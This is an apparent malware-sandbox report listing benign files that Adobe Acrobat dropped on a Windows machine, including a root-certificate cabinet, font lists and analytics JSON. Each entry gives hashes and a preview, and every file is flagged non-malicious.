Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklHmX+1kPtfllXlE/HT8koOll7l1NNX8RolJuRdxLlGB9lQRYwpDdt:kK5X+WeT8Ylz7NMa8RdWBwRd
MD5:	4CBA5A7B382F176E528C2278E21E0C76
SHA1:	F2EF4DDBBA4DED0540F19F9CF5E9FADD487FAB13
SHA-256:	3DC2A690E97F8F319361CE68493CA2997D2BA5B673AD7F314DC3FF91D4408771
SHA-512:	980B9F75DDE37C551360608854C2D47D5340C8F8087575BBE0C5764C88E1C163EC916BE3750EC63B8E1310DD95094D9F182FCC2472E1C5C8597A7EBC8AE9C979
Malicious:	false
Preview:	p...... ........4..[.c..(....................................................... ..........W.....k..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1292855227559153
Encrypted:	false
SSDEEP:	6:kKqL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CiDnLNkPlE99SNxAhUe/3
MD5:	CD9C4FD2F90F9CD52BF534CD52F9B135
SHA1:	AE73FD790F33F7FC5F9DA62AAC0DBC0BC1D1AC62
SHA-256:	8A08A6963950F066B1C5D2E3806CD214DBC3778DD5A6BDD319E4027DAE73D19B
SHA-512:	7B418D93DC3C8F53319222B6B5A349FD7362D27AED6D6B6E0F9EF8F3348575F3CE7A953095BF61CC5F59610141FA74A588EA50D0AFCD2950443A54E269DE09E4
Malicious:	false
Preview:	p...... ........A{Qn.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6152

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6152

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338864041991016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJM3g98kUwPeUkwRe9:YvXKXHApYpW7vGMbLUkee9
MD5:	3FC11156123109AA9645FCBFF8C9C2DC
SHA1:	9AE1550C96B5BD2DB31DBFBF3ED9186E7283B7D7
SHA-256:	CCDAEEA7B4AA517656C08575C30A13F4E945F756A4B2ED157A48E93300B18FB1
SHA-512:	63326F26881960FABB003C551B2FDBC430DABC0DF4F86FDBB2360AFAA170BE1B4A1245DD11A924667E4312D265E5610F4A166047365CD24FFBA85759061B4DC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277409069711137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfBoTfXpnrPeUkwRe9:YvXKXHApYpW7vGWTfXcUkee9
MD5:	9D51D766B0E05B9B8B089787FEC2E313
SHA1:	9FF1108BCAAB3A6B525C02DA3C83FAA08DC02122
SHA-256:	F007D54F81097F7F254E17AC17292BB454D1E0033600E62BDEA80676F41524A7
SHA-512:	217D1CE7FE70C6265F3CA0D7DA829005EEABEB90B9BA59BE1BC35211501C2FED59BD305B475B1C1BCF7294B32B88CAA03996D48F0A6C77015B0206DBFDAF46C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.255820742975998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfBD2G6UpnrPeUkwRe9:YvXKXHApYpW7vGR22cUkee9
MD5:	9956AEBF7A01A90BF134921AC3F13675
SHA1:	5742FD5E19CD174970572A2DAFD59FDECF76C613
SHA-256:	DEE569D8D6EB62173C2BE542B5FDFF15DCEC068751B7067CC5FBBC8823565BF7
SHA-512:	7CE54DC152547DA24F96A6EBE393B338A287C93FC1859A09E68DCAD07B2DEC7C19477DA31EA125FE2FC19392E3088DB1CAD7A87E3EF5AFAC6B30C03F1A6BC6EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3168972935282435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfPmwrPeUkwRe9:YvXKXHApYpW7vGH56Ukee9
MD5:	0AD5FE105905A5CC99949FF574687D56
SHA1:	F4C92336B877924B686AEFB81DAB3E899B35E324
SHA-256:	92295D06F4216CF7A695EEEF5105960342472C61E90C18FCD70BEDD139EF41D1
SHA-512:	1B9C9A1E98FC94952BBEB53517E37AAF5CF9038D0B1308C50C92AF241EBFAE7D0624B8F20C6FC3E38EB1F3FA5D378077FE70B739124AE606D67BE1FF3B37639A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687392654199675
Encrypted:	false
SSDEEP:	24:Yv6XPi0pLgE9cQx8LennAvzBvkn0RCmK8czOCCSU:YvR0hgy6SAFv5Ah8cv/U
MD5:	CA9F765127FE9D2AE2EB79EC55B90E04
SHA1:	3399EEADC0F13EB502ABDC007705C284886384B4
SHA-256:	1FFAC7016F45042B106E92203B236C2F34782D9CF8914CAC70231ACC91D5E8DB
SHA-512:	ECFDC968206F9F572528395E34CC2318DB40F966082FA1DB72144ADE4D711BC404869ECF94FE94DD5640FC7E596F04BBBBC1B8AFE0530BC39A888B8E7A31AA23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260486981583111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJf8dPeUkwRe9:YvXKXHApYpW7vGU8Ukee9
MD5:	1AFAEA39D2BEBCE9BB9EA81BB6258D33
SHA1:	86607C2636E432BA9BA97B9ABDA0DC73D740F08F
SHA-256:	45E29FAD41DBAC9D22AAB811D3AB62DF9B683D3F61E4AED20EA417B94E05EE19
SHA-512:	9647015793F9FA4F4EB5276C443E789F3080A870F846A9E7A8604967249B9E560C64AC2BC00224020A5755AC5E184AE7734EFE4519A4EABE4F4F86AC7B579A45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.261282712559616
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfQ1rPeUkwRe9:YvXKXHApYpW7vGY16Ukee9
MD5:	B4862114D720BADF5407A3F809C67D84
SHA1:	0072ECA655753DF210138DE01BB8AFF137546D98
SHA-256:	B2C4029FA5F7B43EBC8CEE6C4E95B8A1EBF2E935AD0DE92CAFBE9D35FE584882
SHA-512:	5B4442980C05887A692A76FA32E4B24292F4ABE574E9CFBB5CE53D514421B8B706EEC19D1C9671963E23A1E55FA64CF351F774D91F6F68DD85E598610B118331
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281458488340211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfFldPeUkwRe9:YvXKXHApYpW7vGz8Ukee9
MD5:	268C3A09F8E185D2F75730E549C366F9
SHA1:	EDB38341E0DBCA274110BBC08E8B9BB5FD34E652
SHA-256:	C2EB3A8210BC102EBB10336B23C5CE382E2CE0C79D80BD2BCCED4322A88FB8FC
SHA-512:	3B0904F55360783247358849B4272168B3694807A58ED79ED783DDE0B9E3B7AABFF7284B21E5AE7118E1C9928F7CD2EEF4320B5D73F5CFC5B9AD759E0FA4107D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.288918283358371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfzdPeUkwRe9:YvXKXHApYpW7vGb8Ukee9
MD5:	14B513CEE97138A8CD504C1D8A6E0D7C
SHA1:	212C741012072B03B0C1742634DBE76BADB5F8D1
SHA-256:	7B8D0D57B8D826D308F2583405A7164D85D9A44569A81D18CB4E891C1596CE39
SHA-512:	2D67CB50B50656924683F883423FCE406C1E336395C347E872A034A85DC551A901074ECA5D02706E96A47FCCFFF2F12086ECC9E73A3A8F006DC9647E39FE8C53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.268636124925099
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfYdPeUkwRe9:YvXKXHApYpW7vGg8Ukee9
MD5:	5C3BEBA118D3526BF54A719A3F8F214C
SHA1:	AF3423C3181E7815EA9A9D7EAEA4C76B3169EC1E
SHA-256:	E0F03A25B47F6FF9E72ADA1608F07227AE5012D45012595E7A34B2F1BBD285C7
SHA-512:	0B30828B24A90A20AA618B100F65D4BDB3C1DE911C27CFDCE028AEC11CC5CFA7349E4FD399D2B9A20FAC69F6C261A08153DF5CE8E44F9E69A7B374A945DB85EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.254715670469228
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJf+dPeUkwRe9:YvXKXHApYpW7vG28Ukee9
MD5:	927B0C12429BC5786ED91BF798291018
SHA1:	62E32711ED87F8A7F7553D91ED39EE39BE82241C
SHA-256:	0796382B0BB439DC3621087B4025B99B3AFB3C1FFA12C63ECB09CDECBAA3FBC8
SHA-512:	218490BED751EB2B9C71723B3ECEC779D1C026AE4A76AE3B61A364D03E1A2BEDE79463C7431A718A2DAB3D1ADC2754ACF1847A148101457055090565B45C3905
Malicious:	false
